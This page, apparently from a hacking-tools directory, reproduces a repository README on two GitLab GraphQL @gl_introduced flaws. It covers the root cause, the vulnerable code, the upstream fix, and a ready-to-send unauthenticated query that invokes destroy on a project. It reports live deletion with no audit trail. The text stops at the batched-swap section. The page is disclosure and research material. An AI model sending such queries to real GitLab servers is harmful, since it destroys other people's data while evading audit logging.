Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-19478 — Provides PoC exploits and root-cause analysis for two GitLab GraphQL `@gl_introduced` directive vulnerabilities: unauthenticated method execution and batched document swap, with upstream patch and live evidence. | Kitploit
Tools/GitHubGitHub/n0xdaemon/cve-2026-19478
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb Security
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Provides PoC exploits and root-cause analysis for two GitLab GraphQL `@gl_introduced` directive vulnerabilities: unauthenticated method execution and batched document swap, with upstream patch and live evidence.

View Repository
241 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19478 — GitLab GraphQL @gl_introduced version-filter vulnerabilities

A reproduction lab for two related bugs in GitLab's GraphQL version-filter feature (the @gl_introduced directive). Both live in the same feature area, are fixed by the same upstream patch, and both let a GraphQL request reach code paths it never declared:

  • Fallback-field method execution — a single, unauthenticated, non-batched query can invoke an arbitrary zero-argument method (e.g. destroy) on the model behind any GraphQL type, just by naming a field that doesn't exist and tagging it @gl_introduced.
  • Cross-operation document swap — in a batched (multiplex) request, one operation's parsed query document can be swapped in as another operation's, so a slot that declared a harmless read ends up executing a different slot's mutation.
Affected18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Fixed18.11.11, 19.0.8, 19.1.6, 19.2.4
Lab targetgitlab/gitlab-ce:19.2.2-ce.0 (last build before the fix)
TriggerGraphQL @gl_introduced directive, alone or inside a batch

Repository layout

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Everything under src/ is verbatim upstream source, never reimplemented — the loader overlays src/vuln or src/patched on top of src/common.


1. Root cause

1a. Fallback field → graphql-ruby's default method resolution

Gitlab::Graphql::VersionFilter::FutureFieldFallback lets a query reference a field that doesn't exist on a type yet without the request failing — meant for rolling deploys, where an old node's schema doesn't yet have a field a newer node already ships. Its get_field override checks whether the requested field is missing and the request is flagged contain_future_fields, and if so hands back a synthetic field instead of raising:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

The problem: this GraphQL::Schema::Field is built with no resolver method, no resolver class, no block. graphql-ruby's own default field resolution then applies (graphql gem 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym is the field's name, underscored — i.e. exactly the string the attacker put in the query. If the object behind the GraphQL type (the ActiveRecord model) happens to have a real, zero-argument public method with that name, graphql-ruby calls it and returns its (type-coerced) result. fallback_value: nil only applies when the method genuinely doesn't exist — it does nothing to stop a real one from running.

So: query any type for a field named after a real destructive method — destroy, for instance — tag it @gl_introduced so it survives to execution, and the method runs.

1b. Cross-operation document swap

IntroducedTracer implements the rest of the version-filter feature across two graphql-ruby trace hooks — parse (once per operation) and execute_query (once per operation). In the vulnerable build it stashes its per-operation state in plain instance variables on the trace object:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

The problem: graphql-ruby shares ONE trace instance across every operation in a multiplexed request, and parses them all before executing any of them. So in a two-operation batch:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 carries a @gl_introduced future field)

After parsing, only the last operation's state survives. Then execution runs:

  1. execute_query(op1) → flag is true, so op1's document is overwritten with op2_doc and re-prepared → op1's slot runs op2's operation.

op1 declared a read; it executes op2's write.

The fix

patch-19.2.2-to-19.2.4.diff closes both:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Exploit flow

2a. Fallback field — single request, no auth, no batching

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

No Authorization header. One operation, no batch. destroy is not a real field on Project — it doesn't exist in the schema at all — but the directive makes FutureFieldFilter strip it before static validation and arms contain_future_fields for execution, where get_field hands back a resolver-less field named destroy and graphql-ruby calls project.public_send(:destroy).

Verified live (evidence/live_vuln_fallback_field.txt, reproduced three times against three separate disposable projects): sent against a public project, the response was {"data":{"project":{"id":"...","destroy":true}}}. A follow-up authenticated REST check (GET /api/v4/projects/:id) returned 404 — the project was actually gone. The request log for that call shows 9 synchronous database writes and zero new AuditEvent rows: the call bypasses Projects::DestroyService entirely (and with it the audit trail, webhooks, and notifications) — it is a raw ActiveRecord#destroy cascade invoked directly through GraphQL's default field resolution.

2b. Cross-operation document swap — needs a batch

Download Tool